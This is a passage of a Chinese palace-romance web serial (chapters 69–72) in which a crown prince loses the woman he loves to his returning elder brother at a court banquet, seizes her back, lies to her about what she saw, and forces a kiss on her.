李岏只觉得心中如滚了热油,煎熬难捱,恨不能立刻飞了出去,闻听此只觉心烦,挥手道:“听王爷安排。” “是。” 外头的雨密密麻麻,冬日里似乎还夹了雪,寒气如蛇一般窜上全身,他却还穿着单薄,也顾不得添衣裳,一心往外头走。 全福急地一面给他寻大氅披着,一面叫人撑着伞小跑着跟在身后,两人直走到随云殿门口才停下来。 殿门紧闭,里头半点声音也没有。 夜早已深了,已不知是几更天。 全福瞅了瞅,心中打鼓,主动问道:“奴婢去叩门?” 李岏热油滚了的心却在寒风中渐渐冷却下来,盯着殿门,本想说不必了就此回去,却还是忍不住道:“轻声点。” 守门的内侍开了门,得了吩咐,谁也不敢发出声响。 李岏轻车熟路,一路寻到了寝室。 他放轻了手脚,打开门,屋内昏黑,只有屋角燃着蜡烛。 他却一眼瞧见床上的锦被隆起,瞧不见人。 她还是习惯性得将整个人都埋进了被子里。 呼噜呼噜的声响在耳畔。 李岏转了目光,瞧见一只小白猫便蜷缩在枕头旁,睡得香甜。 他轻轻坐在榻上,终于在这些声响里,听到极轻微的呼吸声。 这呼吸声好轻好小,却好似都与旁人不同似的,叫他听得入了迷。 滚焦的心渐渐平静下来。 空气里兰花的香气若隐若现,床头的兰花保护的极好,在这日子里居然还开着。 不一时,他目光却扫到这枕头旁的被子低下,一只白色面人,也静静地躺着。 李岏轻手轻脚地拿来了面人,面人神情竟与他十分相似,连眼下的红痣都点着。 正是在苍西的集市上,对着他捏出来的。 李岏不想她睡时将面人都放在枕边,一时心中胀痛,酸涩难言。 他坐在床边,看着隆起的被子发呆。 被子下的睡颜不知此刻是什么模样。 他感到指尖发痒,喉头发干,想要将人从被子里扒出来瞧上一眼,想要立刻与她诉说自己的心思。 可这呼吸声太沉醉安宁,叫人舍不得动上半分,生怕打扰了这一切。 他到底收回了手,也忍下了憋住的话。 好在她还在随云殿里,他想来寻她的时候,她一直都在。 李岏自袖子里掏出一只荷包,是她还没来得及绣完的成品,自然也没来得及送给他,落在了方华殿里。 这个荷包里头鼓鼓的,塞了好几粒饴糖,他从里头掏出一颗来,含进了嘴里。 她说得不错,没有人不爱吃糖。 他自然也不例外…… 天色渐明,远处传来更鼓声。 李岏自榻边起身。 看了看榻上被子里睡得深沉的人,一夜都没有醒过来,不由起身走了。 他回到内暖阁里摆弄盒子里的小物件,而后从盒子里拿出一只白色的面人。 小心翼翼将最后一根绿色发带系在了发尾,这面人今日也算是完工了。 想来与方才那只,倒也算是登对。 这是他这些日子,夜里或晨起无人时,一点一点捏的面人。 他尝试了几回,便也会了,将这面人捏得惟妙惟肖。 分明就是一个小小的宋轻风,咧开嘴笑着,嘴角的梨涡隐现。 他方将面人塞进怀里,全福进来禀告道:“殿下,肩舆已备好。” 李岏问道:“王爷呢?” 全福笑道:“天没亮,王爷就去西边的小校场练武去了。” “嗯。” 全福一边伺候他换衣裳,一边道:“陛下体谅王爷久居边关,难得回京一趟,今夜在宝华殿设宴,为王爷接风洗尘。” 李岏眸中晦暗难明,只是嗯了一声。 全福道:“听闻今夜宫宴特意请了东边的大厨,做鱼脍海鲜,皇后娘娘又怕王爷吃不惯,又请了西北的大厨,来做地道的西北菜。” “王爷自小在京师长大,有何不惯。” 李岏一顿,而后却道:“西北菜?” 全福心下一紧道:“正是,殿下可是觉得有什么不妥?”。 “宫宴?”宋轻风咬着被角不确定地道,“太子殿下叫我今夜去参加宫宴?” 她坐在床上,一时有些有气无力。 昨夜做梦,似乎总觉得旁边有个人似的,这人却不言不语,叫她连睡梦中都无端地有些难过。 全福道:“正是。” 宋轻风想了想点头道:“好,知道了。” 她入宫之时,身份摆在这里,一个侍妾与宫女无异,入宫这么久,哪有资格参加什么宫宴? 而今他大婚在即,这是专门叫自己去伺候太子妃娘娘的吧? 全福带完了口信,道:“娘子早些做准备,晚间会有车来接您一并进宫的。” “哦。” 说实话宫宴有什么好吃的,她在宁安侯的时候,也参加过一回宫宴,那席面上的菜都又冷又硬,半点滋味也无。 当然,那唯一参加的一回宫宴,她遇见了太子。 想来倒也是不虚此行。 乌梅又绿却极激动,这种时候,太子殿下突然记得娘子来,自然是极好的事!也叫外人看看,咱们娘子在殿下心上,还有有分量的。 二人当即乐颠颠地拽着她,要给她好生打扮一番。 宋轻风被车接到宝华殿的时候,那里已人头济济,热闹鼎沸。 镇北王多年未曾回京,一回京就吸引了所有人的目光,众人讨论的极为热烈,最后都自然扯到了王爷的婚事上。他生得俊朗,又手握重兵,居然还单着! 好在宋轻风这个话题也早过了风头,并无人在意她。 还未想好要去哪里,却有一个小太监低眉垂眼地走过来道:“娘子,请随奴婢来。” 宋轻风见他是东宫里头眼熟的,便跟着他,在一众宴席间绕了一下,便走到一根柱子旁的桌位。 小太监道:“娘子您请坐在此处吧。” 宋轻风坐定,发现前后左右的人瞧着都有些眼生。 这些人瞧见她,也不知她什么来历,只是笑了笑点头致意。 不多时,却听鼓乐响,是陛下到了。 众人起身行礼一阵山呼,却见皇帝牵着镇北王的手,太子跟在一侧,步入了殿内。 皇帝一番陈词,大乐响起,宴席开始了。 一时宫人们如鱼虾一般穿梭来去,流水的菜便摆上了桌。 宋轻风这才发现原来那些又冷又硬的菜,只是个别,这里的菜是一道用了接着一道上,各个色香味具全,令人食指大动。 这菜式更是她见都未见过的,味道极鲜美,更贴心的是身旁还有个小宫女帮她剥壳。 不一时,却居然上了西北菜式,不过吃了一口,就尝出是地地道道的西北口味。 尝到这久违的味道,她一时激动不已,一扫多日的不愉。 李岏坐在上首,余光瞧见她,一颗黑黑的脑袋垂着,埋头吃得专心,忍不住看得移不开目光。 她长在西北,果然是爱吃西北的菜式。 李岏不自觉摸了摸怀里的面人,他似乎已能想见到,她见到与自己生得一般的面人,那脸颊的梨涡。 今夜人潮济济,他要寻个机会,告诉她,他时时惦记着她,每日里脑中挥之不去地都是她。 其余的,都是假的。 一时酒酣,场中却停了歌舞。 却是一青衣人从幕后缓缓走出,带着面罩,手中捏着一只陶埙。 瞧不见他的面容,穿着也朴素,可他单就这般随意站着,全身却已似积聚了所有的光影。 原本叫镇北王吸引走的目光,无不不自觉地汇聚在台上一人身上。 越是这般,越是叫人难以遏制地想象,那面具之下,该是何样的风姿。 宁旌起身道:“宫中歌舞实在叫人叹为观止,臣也带了人来,为陛下与太子殿下助兴,只是西北之地的粗陋之乐,覆了面乃是西北习俗,叫人将心放在乐上,叫陛下见笑了。” 李岏看着台上的人,不由皱了眉。 他依稀记得,这人便是昨夜跟在宁旌身旁的人。 他此刻叫人上台助兴,是有何用意? 台上的人却抱拳微躬了身,而后拿去陶埙,送到了唇边。 台下人无不停箸,不自觉屏住呼吸。 一时四周寂寂,低沉婉转的乐声响起,飘飘摇摇,走到每个人的心头,不过瞬间便叫人如置身在西北的凌列风霜之中。 宋轻风本未注意,听闻埙声,埋首吃饭的手一颤,抬起了头。 却见台上站着的人,身型消瘦,腰间只用一根不带系着,一双玉白的手,在埙上舞动。 那双手,若是握起剑来,又是何样的风姿。 她手中玉箸落了地,整个人呆在了当地。 好在场中如她一般的人,并不在少数。 一曲很快终了,那青衣人一躬身,没有半刻停留便退下了。 宋轻风只觉得耳膜震动,心跳在嗓子眼里震动,她不自觉自席面上起身。 她本就坐在不显眼的位置,离席并未引起注意。 宋轻风跌跌撞撞,行到外头。 宝华殿外头,是一片小湖,湖边此刻有些黑。 她却一眼瞧见,湖边站着一个人影,寒风吹着他的衣角,在风中随意飘荡。 冷风吹在滚热的面颊上,她躁动不安的心却丝毫未曾冷却,双脚如不听使唤一般,沉重地一步步往外挪过去。 李岏瞧见她离席而起,也忙跟着走出殿外。 殿内烧了地龙,人又多自然极暖,可这殿外,却有些寒凉。 他见宋轻风出来的匆忙,都未来得及披上外衣,不由赶上前去,将自己的大氅脱了披在她身上道:“里头气闷,你出来透气也记得别冻着了。” 哪知宋轻风却并未说话,也未转头看他。 她只是看着湖边,漆黑的双眸亮的吓人,里头如繁星点点。 他心中生异,这才转头瞧向湖边。 却见湖边的人,转过身来,随手拿下脸上的面罩。 面罩下是一张年轻的脸,肤若凝脂,眉目如画,此刻嘴角挂着笑,眼下的红痣在黑暗里若隐若现。 他伸出手来,轻轻招了招道:“风儿,过来。”—— 作者有话说:晚安宝宝 第70章 第 70 章 只是来接个人 他招手道:“风儿, 过来。” 宋轻风却不自觉顿住脚步,许是夜色里灯火有些晃眼。 竟叫她生了这样的幻觉。 她立在原地,却生了胆怯。 李岏看着他, 看着与自己相似的脸上,挂着笑意,那粒红痣却比他的更加鲜艳, 刺目地叫他双眼酸涩。 他下意识伸手摸上自己的脸, 颤抖的指尖滑过冰冷的肌肤,却摸到那粒小小的突起。 紫晨宫里弥漫的药味铺天盖地而来, 瞬间将他淹没在其中。 他的身体渐渐缩小,成了一个小小的男孩子。 小小的双腿跪在地上,膝盖早就疼得麻木, 失去了知觉。 他巴着床沿, 颤着声音想要叫母亲,可声音却卡在咽喉,发不出半点声响。 床上的人始终背转着身子,到死也不愿再看他一眼。 后来母亲意识模糊不清的时候, 睁着双眼对着床帐的上空, 口中只是低喃。 他小心翼翼地凑过去,听到的是一声声断断续续的“岚儿。” 她无意识地挥动双手,想要抓住空中的“岚儿”。 他伸出自己小小的手去, 抓住了她在空中挥舞的手。 她的手冰冷的没有半点温度,抓在手里像是抓着块寒冰刺骨。 可母亲却终于转过头来看他。 曾经美丽的眼睛此刻已一片浑浊, 看见他的面容, 里头终于迸发出惊喜,哪知不过片刻,却又转成厌恶。 她使出最后一点力气推开他, 满声嫌恶,咬牙道:“你滚开。是你杀了你哥哥!你这个杀人凶手!天生的冷血恶魔!我这辈子都不想见到你。你滚开!” 小小的男孩子被推翻在地,不敢面对母亲嫌恶的目光,只能默默地蜷缩在床角一旁。 默默看着母亲一碗碗汤药灌下去。 紫晨宫里的药味愈发浓郁,她的嗓音却愈渐低沉,脑袋愈加迷糊。 半是清醒,半是迷糊的时候,她只顾抓着宫人的手问道:“我的岚儿在哪里?” 宫人支支吾吾,不敢作答。 她形如枯木,神情颠倒,眼见已在弥留之际。 小李岏抹了把眼泪,自地上爬起来,飞奔而走,不过在隔间的书案上便寻到了朱砂。 尖锐的针在稚嫩的皮肤上刺下,朱砂混着血点了进去,一粒血红的小痣便出现在了眼下。 他顾不得细看,扔下东西,复又爬跪到床边,抓住她的手。 母亲转过枯槁的脸,已有些浑浊的双目逐渐清明,里头终于爆发出巨大的惊喜来。 她没有推开他,而是狠狠地一把将他抱在怀里,力气大的他险些喘不过气来。 “我的岚儿,你终于回来了。” 母亲的身体到底是温暖的。 李岏小小的身体剧烈地颤抖,骨骼间发出咯吱咯吱的声音,却死死咬着唇,不敢发出半点声响。 可慢慢的,她的声音渐渐低弱,抱着他的体温,却在怀里一点一点消逝。 母亲便这样抱着他,咽下了最后一口气。 寒风入骨。 李岏看着湖边的人影,目光落在他眼下的红痣上,双目刺痛,心如被针尖刺过,一片片密密匝匝早已麻木。 转首,身旁的女子,看也未曾再看他一眼。 只是死死盯着远处的人影发呆。 他陡然记起她对着自己叫“兰哥哥”的模样,想起她看着自己的面容发呆,那满眼的依恋,里头的神情,叫他都心惊。 她还说他若是笑一笑,会更好看,那是因为她见过这样一张脸,常常笑着的模样。 他们是亲兄弟,生得极为相像。 可岚哥哥,是生性爱笑的,不像他,天生冷脸,只会惹人嫌恶。 甚至他的痣,都是模仿的。 寒风刮过,李岏低下头,看了看胸口。 这里并没有洞,却为何空荡荡的,好似被寒风贯穿。 他极力稳住身型,生怕一个不稳,跌倒在地。 转过头,甚至感到脖颈僵硬地发出声响,却见宋轻风一动不动地看着湖边,双眸含星,彷佛进入梦魇一般。 他徒劳地伸手,想要抓住她,可脑中却一闪而过记忆里那嫌恶的目光。 他猛地缩回手,忍下心中巨颤,只是张口叫道:“宋轻风。” 宋轻风一动未动。 “宋轻风!” 宋轻风早神思不属,毫无所觉,仍旧一眨不眨地看着远处发怔。 她呆呆地看着远处,不知看了多久,那湖边的人影都还在。 长身而立,面容含笑,看着她。 那面容正是在梦中出现千百回的面容。 她只觉得“轰”地一声,血气上涌,再忍不住,顾不得脚踝还未好,提起裙摆就飞奔而去。 是梦也好,是假的也罢。 她都不在乎。 她双腿绵软地如棉花一般,跑动中险些几次摔倒在地。 李岏终于无意识地伸出手,她的衣摆不过从指缝里滑过,捞了个空,唯有寒风留在指缝。 他张口又叫道:“宋轻风!” 她飞奔而去的身影却无半点停留。 寒风灌进他单薄的衣裳,叫他四肢麻木,浑身发寒,牙齿忍不住打颤。 怀里的荷包如烙铁一般烫人,灼烧着他的胸口。 胸口未曾愈合的伤口,随之传来刺心的疼痛。 似乎有热流从皮肤上滑过,李岏面容未变,默默将手指掐进掌心,直将掌中掐出血来,才维持出表面的镇定。 宋轻风跌跌撞撞,一把扑到了兰哥哥的怀里,紧紧抱住了他。 他的身体是温热的,熟悉的气味瞬间包裹住全身。 她只觉得头脑发昏,又是一场不想醒来的梦…… 殿内觥筹交错,台上歌舞不断。 众人依次上前来与镇北王敬酒。 宁旌竟是来者不拒,豪饮了不知多少杯,这么多酒下肚,一时醉意大盛,颊上如染了胭脂一般。 皇后瞧他模样笑了笑,叫内宫侍从赶紧去送醒酒汤,却又问道:“这半日怎么不见太子殿下?” 伺候在旁的太监忙回道:“奴婢瞧着太子殿下方才离席了。” 旁边皇帝听闻,冷了脸道:“今日是为镇北王接风洗尘,朕还在此,他居然一声不响离席了!这眼里没有朕也罢了,如今是谁也不放在眼里了!” 皇后忙与身旁人道:“快派人去请殿下回来!” 宁旌醉醺醺,斜睨着眼睛笑道:“这人有三急,太子殿下再尊贵,可也不例外。臣不急,可不想娘娘将殿下从茅房里头请出来。” 他喝醉了,说得如此粗俗言语,叫皇后一时尴尬地红了脸,只得端起茶来,掩饰了面上的难堪。 只是如此如何还能再叫人去寻。 宁旌捧着酒盏冷笑一声,却转首对站在身前敬酒的人道:“来,喝喝喝!本王还没醉!” 哪知台下却有人出列,道:“陛下,皇后娘娘,臣有事要奏!”。 李岚摸了摸怀里宋轻风黑黑的脑袋,抬起了头。 却见李岏还站在原地,发戴金冠,身穿玄色蟒服,一身无上的尊贵。 此刻只是面色有些发白,却没什么表情,瞧见他,甚至连眉头都没动一下。 倒是如少时一般的沉稳模样。 他扯了嘴角,声音清朗:“太子殿下。” 李岏压抑住颤抖的身体,却转身与站在远处的高守沉声道:“立刻!带人封住宝华殿!不得让任何一个人靠近这里!” 高守方要应是,却突然反应过来,心下大惊,如今宝华殿内,陛下皇后具在,群臣眷属具全,此刻封锁宝华殿,这分明就形同造反! 太子殿下到底是储君,如何能在这个时候,做这等事! 这后果何以想象! 殿下难道是当真准备今夜动手了? 可他为何半分消息也不知道。 况且镇北王爷还在殿内! 高守飞奔上前,跪地道:“太子殿下!” 李岏仿若从牙缝里挤出字来:“孤不想说第二遍!” 高守一个魁梧大汉,也忍不住浑身发抖,他不敢再说,只能硬着头皮应是。 方才他站得远,并未瞧清湖边人的长相,只知道那人是镇北王爷的人。 既是王爷的人,他自然放心,只是练武之人天生的直觉,叫他觉得那湖边的人极危险。 他守在远处,好在殿下也未靠近此人。 只是此刻他也不敢抬头去细看。得了命令,立时去调东宫卫,自己也更是调动了浑身的肌肉紧绷成直线。 准备随时为殿下拼命。 看见人将宝华殿团团围住,一只苍蝇也飞不进来。 李岏才转回目光,扫过李岚怀里的人。 许是因太过激动,宋轻风此刻双目紧闭,面容发白,竟似晕了过去,而他便轻轻地一手拖着她脑袋,一手拖着她的腰身,叫她不至滑落。 他目光飞快自他扶着她身体的手上扫过,忍住胸口钻心的疼,瞧向李岚:“你怎么在这里?” 李岚道:“不必紧张,我此次来,不为别的,只是来接个人。”—— 作者有话说:晚安啊~《 》 70-80 第71章 第 71 章 那你来抢好了 “我只是来接个人。” 李岏紧紧掐着掌心, 掐出血来,才不叫自己的嗓音变了调。 “只是来接个人?” 他扫过对方怀中的人,轻盈地靠在他的身上, 安睡过去,那脸上的神情叫他绝望。 那神情,分明就是以前抱着自己不撒手时的模样。 是依恋, 是满足。 他心中冰凉彻骨, 所以她从一开始靠近他,便都是骗他的。 她看向自己的每一个眼神, 却原来都是透过自己在看着旁人? 在她眼中,自己到底又算是什么? 他心中怒意未起,却又陡生了慌乱, 就如很多年前。 他这样的人, 自然是不配得到爱的。 李岏明知故问,心中却又隐隐藏了侥幸的心:“你,你要接谁?” 李岚却静静地看了他,目光自他眼下的红痣上一扫而过, 最后又落在他与自己极为相似的眉眼上, 而后才道:“多年未见,你不叫我一声哥哥吗?” 哥哥? 李岏脸色刷地发白,双手剧烈地颤抖。 “哥哥, 哥哥,”他追在身后, 只求哥哥可以走得慢一些, 带着他一起出去。 哥哥无奈地叹了口气,微微弯下腰来,牵着了他的手道:“跑慢点。” “哥哥, ”他道,“这是膳房今日做的糕点,分给你。” 哥哥背上的血还未干,却抱住了被吓呆的他,拍着他的背道:“别怕,不管如何,我永远都是你的哥哥。” 那都是很久远的时光了。 久远到他自己的记忆都模糊不清。 李岏嘴唇发抖,抖了半日,却也未挤出哥哥二字。 李岚看他模样,手下用力,将怀里的人抱紧了道:“诚如殿下所见。我只想悄无声息地将人带走。” 李岏下意识要上前,却不过一步后又顿住了。 对方言语清淡,神态随意,可他却听到了其中的威胁。 李岏突然反应过来,此前去苍北寻沈渭之事。 多年来他寻沈渭一直没有消息,可那时却又突然现身,突然消失。 难道他出现,只是为了将他引过去,说上几句大殿下是冤枉的话吗? 可他想要的是什么呢? 李岏嗓音干涩,心中生出许多后怕来。 “在苍西镇,你便有机会将人悄无声息地带走?” 李岚却笑道:“是啊,只是我们风儿心地有些善良,若就这样走了,她只怕以后会一直惦记着你。” “我可不想如此。” “而今正好,殿下要大婚了,风儿也可以跟我走了。” “不过太子殿下放心,我们会回西北去,再不会来了。” 西北,西北。 他说我们,他叫她风儿。 他说我们再不会来了。 而她也说过会离开京师,去西北。 原来他们早就相识。 在西北过去的多年里,他们两人有过什么样的过去,是否日日朝夕相处,朝朝暮暮相对。 而他,确实是要大婚了。 她是不是大概也对自己失望透顶? 仿若摇摇欲灭的火星,终于熄灭了,最后一丝希冀,在心中彻底消寂。 李岏突然感到一丝从未有过的茫然无助,仿若自己又成了那个蜷缩在床脚的小男孩。 李岚眉目开朗,露出真诚的笑来:“还未恭贺你大婚之喜,方才那曲《凤阙春》,是哥哥提前送你的新婚之礼,莫要嫌弃。” 寒风裹挟着四周,天空却下起雪来。 上京城的第一场雪,来得有些突然…… 那上前的大臣跪地磕首,而后才道:“陛下,臣冒死进言。” 殿内鸦雀无声,台上歌舞忙停了下来,撤了下去。 皇帝未曾发言,却也没有阻止,面色隐在高台上无人看清。 “臣冒死进谏!”那大臣以额触地,身体颤动,“陛下,太子殿下年少狂悖,目无君父,为个烟花女子便敢剑指君父,还要强立为正妃,实在是悖逆人伦。” 说着他老泪具下,头在地上砰砰作响。 此言如落石入水,惊起四处涟漪。 剑指君父?烟花女子,正妃? 八卦之心人皆有之,在场众人无不竖起耳朵,生怕漏掉一星半点。 陛下与太子关系,一向便如履薄冰,可到底维系着表面的平静,可何时居然发生此事? 哪知却有人从一旁出列,跪地道:“臣也有是要奏,据臣查验过程中发现,这准太子妃的身份,似乎存疑。” 说着他自袖管里掏出一封皱折道:“此乃臣调查的结果。” 说着忙有人将奏折呈给了陛下。 检察御史罗大人接着道:“臣查明,这女子,很可能乃是昔日镇北大将军,白楚楚的女儿。” 什么! “白楚楚?” 这名字实在陌生,已多年未曾被人提及,有人回忆了许久,方才回忆起这白楚楚是谁。 而有人早就忆起当年这战神的风姿,久久不能回神。 罗大人又道:“臣也得到消息,皇觉寺里很可能藏着北戎来的奸细,而臣要派人靠近,却总被云逍将军拦阻在外,不欲臣靠近!” 哪知角落里一直安静的晋王却开了口道:“若本王所记不差,这白楚楚,当年便是与大殿下内外勾结……” 他说着却停顿了,目光扫过陛下的下首桌案。 众人下意识顺着目光看过去,那里坐着的镇北王宁旌,正在一口一口的喝酒。 他一番话,不由叫人想起,这过去的事,是否又在重新上演。 宁旌被众人眼光看了遍,不由停了酒杯道:“怎么不说了?为何都在瞧着本王?” 罗大人扫了他一眼,而后磕头与上首道:“太子殿下而今违逆陛下,不忠不孝,秘密来娶这白楚楚的女儿,又将北戎奸细安顿在皇觉寺里,是何用意?臣请严查。” 皇帝翻看了递上来的奏折,面上黑沉如水:“此事牵连甚广……” 却听“呵”的一声轻笑,众人目光刷地扫过来,却见宁旌转了酒盏,嘴角含笑。 晋王道:“表兄与太子殿下一向关系甚好,这是有何话说?” 宁旌挪了挪身子道:“没什么,只是坐着累了,换个姿势舒服些。” 席下有大臣早就怒气满面,起身正要为太子说话。 “不好了!”门口有人来报,“太子殿下命人封了宝华殿,谁也不让出去!” 这一声,一石激起千层浪!满殿哗然。 陛下尚在,皇后尚在。 满朝文臣都在。 太子殿下竟叫人围了宝华殿! 众人忍不住浑身发软,双眼发晕,连方站起来的人都犹疑在当场,死生就在瞬间。 尽管许多自诩早就依附东宫,可此前却没得到半点消息,此刻更是如旁人一般,不知所措。 陛下更是面如黑炭,一把砸了手中的酒盏道:“孽子!这是逼朕不念父子之情!” 一清瘦人影从席上跳出来,一把指着镇北王的鼻子骂道:“镇北王爷,你还有何话说?你们这是早就谋划好了要里应外合,一起造反不成?” 宁旌喝得太多,头疼得厉害,正在犯迷糊,只听见造反二字,不由挑了挑眉。 身后东宫跟着的随从忙屈身上前,耳语了太子殿下的所为,宁旌手中的酒杯啪嗒落了地。 这回是彻底醉了。 娘嘞! 太子殿下,这是仗着背后有人,就在瞎搞啊! 可轻着点吧,一玩就玩这么大一出,也太看得起他了。 兵围宝华殿,这不是造反是什么!让他怎么编啊!这是要逼死他啊! 那人见他哑然失声,愈发壮了胆气,一步冲上前来,离上首只十足之遥。 宁旌脑中恨不得将太子骂上千八百回,面上却满是醉意,毫无变化,他也心虚,不敢与陛下对视。 眼见着对方送上门来,借着酒疯,一把扔了酒杯砸了出去,与那跳出来义正言辞的大学士问道:“什么里应外合?本王这方离开镇北军回京,屁股还没坐热,就想卸磨杀驴,陷害忠良,诬陷本王啊!” 他准头极好,那酒杯不偏不倚,砸在了大学士的嘴上。 刹那一个红色肿痕迹在他嘴周围,瞧起来说不出的滑稽。 大学士不想这镇北王一言不合君子动口也动手!想要骂回去,嘴角传来剧痛,可怜嘴巴肿得张不开半点。 他最引以为傲的口才竟无用武之地! 可镇北王上来先发制人,说人家要卸磨杀驴,陷害忠良,一下堵住了所有人的嘴。 宁旌抚了抚滚烫的面颊,也不给旁人机会,索性歪在桌案上转移了目标指道:“那个你,过来。” 众人一愣,才瞧清他指的是方才进殿门禀告的太监,那太监一惊,忙跪爬上前几步。 “王爷恕罪啊!奴婢所言句句属实,不信您去门口一看便知了。” 宁旌却道:“我醉了,走不动,你且说说,门口围了多少人马?” “人……人马?”小太监结结巴巴,满额的汗水滴落道,“奴……奴婢……拦住奴婢的,是高守高统领,还有随行的几个东宫卫!” “呵,”宁旌冷笑道,“太子殿下进出宫禁,依照国法,便是时刻要东宫卫护卫在侧,你惊扰了太子殿下的大驾不说,就敢来妖言惑众?” 小太监砰砰磕头道:“王爷,奴婢不敢,奴婢所言句句属实!” 皇帝见宁旌分明全是袒护,不由冷笑道:“镇北王倒是很大的威风!” 宁旌满面拖红,瞧起来就醉得不轻,闻言笑道:“陛下谬赞了!” “只是您都没瞧见么,”说着他鬼鬼祟祟凑了头,却又用全场都能听到的声音道,“太子殿下离席,一起离开的,还有谁人?” 皇帝皱了眉,双目一扫,多年的威压叫众人都抬不起头来。 皇后却道:“是那位宋娘子。” “对嘛!”宁旌一拍大腿,“而今太子殿下与自己的侍妾在外头,咳咳,虽说顽劣了些,但避些闲人又有何不妥?” 此语一出,众人脑中瞬间闪过诸般画面。 不由心中安定了许多。 宁旌心中腹诽,这情急之下,自己到底在说些什么啊。 皇帝面色黢黑,冷笑道:“这般行事,当真是荒唐之至,何来太子的……” 宁旌道:“人不荒唐枉少年嘛,不像咱们,年纪大了,想荒唐也没了这兴致。” 席间有女子早被他说得双耳血红,连皇后都尴尬地道:“王爷年岁也不小了……” 宁旌接道:“皇后娘娘左右无事可做,要不帮臣也相看相看?就说方才那戏台上唱曲的,有几个瞧着就不错。”。 雪飘飘摇摇,如柳絮一般。 李岚看了看披在她身上的黑色大氅,索性扯了过来裹紧了她的头脸。 而后手一伸,便将人抱了起来。 宋轻风成了小小的一团,便缩在了他的臂膀上。 李岚头也不回地道:“下雪了,殿下早些回去吧。”声音随着风声渐渐飘到远处,消散在夜里。 只有脚步踩在方落雪的地面上,留下浅浅的脚印。 李岏双拳紧握,双目血红,盯着那一串快要消失在风雪里的脚印,胸口钻心的刺痛。 湖边的灯笼慢慢被雪覆盖,连光都透不出来。 他孤身站在湖边,看着他抱着她的身影,便要慢慢消失在远处,消失在黑暗里。 一辈子都不会再回来了。 所有人都离他而去。 雪刮在脸上,早已麻木。 单薄的衣裳,早就被风雪填满。 周围空寂无声,不远处的宝华殿,灯火通明,不知里头又是什么情状。 他忍不住弯腰剧烈地咳嗽,像是要将肺都咳出来。用力中却感到怀中有东西疙疙瘩瘩,硌得浑身生痛,他从怀中一掏摸,摸出那个面人来。 面人睁着一双黑黢黢的大眼睛,无辜地看着自己,嘴角梨涡隐隐约约。 李岏突然足下狂奔,朝着黑暗跑去。 风雪过耳,冰寒涌入鼻腔,不过片刻便追上了人。 他来不及喘息,一言不发,伸出手来,将人从李岚手中抢了过来。 李岚并未动作,只是静静地看着他。 李岏冰沉的目光直视对面的人道:“她是我的人。” 李岚开口道:“殿下果然要如此吗?” 李岏抱着人转头就走,头也不回地道:“那你来抢好了。”—— 作者有话说:晚安啊 第72章 第 72 章 你说,我是谁? 雪越落越大。 李岏抱着人行到方华殿时, 发上已落了一层白雪,状若白发。 全福并着方华殿的宫人不预他会此时突然回来,一时乱成一团。 他却看也未看一眼, 抱着人一路疾行,一路砰砰踹开殿门,直走到寝殿里头, 将怀里昏迷的人放在了床上。 他站在床边, 看着床上的人还昏迷着,面颊泛着粉红。 大氅上落的雪一点点消融。 李岏面无表情看了一会, 才伸出冷白的手指,躬下身将她身上湿冷的外裳一点点脱下来。 指尖触到她温玉一般的肌肤时,她似乎感应到似的, 对着他手指的方向侧了侧头。 嘴中喃喃叫了一声。 李岏睫毛微颤, 正整理衣裳的手一顿,手背上青筋突起,他猛地扯过床上的锦被将人盖住。 雪扑簌簌地打上了门窗。 方才殿下回来的动静闹得整个方华殿噤若寒蝉。 全福不知今夜发生了什么,却只见到殿下浑身是雪, 怀里还裹着个人, 他顾不上其他,当即收拾了衣物。 正推门进来,要与他换衣裳沐浴事宜。 却见到殿下背着身子站着床边, 听到响动头也不转,声音如浸了冰:“滚出去!” 全福一眼看到殿下背在身后的手掌, 不由心头发寒, 浑身发颤,连不迭退了出去。 屋内回了寂静。 只有外头雪落的声响。 发上,身上的雪渐渐消融为水, 李岏便只是坐着,已浑身又冷又硬,头发湿漉漉一片。 他却似丝毫未觉,只是坐在床边,人的面容发呆。 不知这样看了多久,宋轻风才动了动,幽幽转醒。 方睁开眼,便瞧见了坐在床边人。 窗外新雪映得室内一片朦胧,映着对面人恍惚的面容,她恍惚记起方才昏倒前的记忆,双眸中爆发出激动的火光来:“兰……兰哥……” 她的话卡在了喉间,却见面前人冷硬的嘴角自光影中显现,一双黑沉沉的眸子盯着她。 宋轻风住了口,一丝不易察觉的失望之色自眸中飞快地闪过。 李岏却一眼就瞧见了她眸中的变化,心中当即如针扎一般刺痛难忍。 他狠狠咬住牙,才防止自己的失控。 宋轻风抬起头来,四处看了看,雪光透进来照得清楚,此处却竟甚是陌生。 但应该已不在宝华殿了。 她脑中想起方才在宝华殿上所见,那古埙曲犹在耳边,而湖边的人影是那么真切。 那转过来的面容,分明是自己梦里见过无数遍的样子。 他甚至还伸出手来,笑着说过来。 宋轻风顾不得腿软心慌,当即就抓了衣裳来要起身去。 行动间撞翻了床头的物架一通乱响。 李岏眼疾手快,一把抓住她的手,目光沉沉,嗓音冰寒:“去哪?” 他手下加力道,将宋轻风雪白的手腕都抓得红了。 宋轻风忍不住龇了一声,见他模样,犹豫地道:“方才,方才在宝华殿……” 李岏手下用力,一把将她拽了过来,将她坐在了他的腿上。 他打断她,气息便喷在她的颈间:“方才你多饮了些酒,有些醉了。” “酒?” “那果酒虽甜,却极醉人,我见你歪歪倒倒往外去,外头那么冷,便将你带回来了。” 那宴中果酒清香甜腻,宋轻风喝着喜欢,便不小心多喝了几杯。 李岏继续道:“不知你疯疯癫癫往外跑什么,那湖边又湿又冷,一个人影也无,你偏要去。” 宋轻风忍不住嘴唇颤抖,看了他,好一会才喃喃地道:“一个人也没有吗?” 难道当真是自己眼花了。 这些年,她总是不经意间,冒出他出现的错觉。 可每一次都是失望,他一次也没有出现过。 但是方才的一切,又是那么真切。 但若方才一切是真的,以太子的性情,又怎么还会若无其事地带自己来方华殿呢。 宋轻风摸了摸有些疼痛的脑袋,低下头来。 巨大的失望透过全身,整个人都耷拉下来。 李岏额角跳动,再忍不住一把将人推倒在绣枕上。 紧跟着,冰冷的唇就覆了上来。 宋轻风还未从这巨大的落差里回过神来,就被他堵住了口舌。 他的动作粗暴又深入,叫她唇舌发麻,呼吸困难。 粗重的喘息滚着热浪喷在耳侧。 不知过了多久,宋轻风感到口中混着血腥味,才发现不知是谁的嘴角破了,她支支吾吾地趁着喘息的缝隙里赶紧开口道:“您,您做什么?” “做什么?”李岏离开了她的唇,却又转到她颈间,牙齿轻咬在她颈间跳动的脉搏上,声音沙哑含混不清:“你是我的人,你说我要做什么?” 他的牙齿微一用力,叫宋轻风忍不住浑身发抖。 还未反应过来,李岏已伸出手来,扯开她脖颈的衣裳。 他火热的唇便一路延了下去。 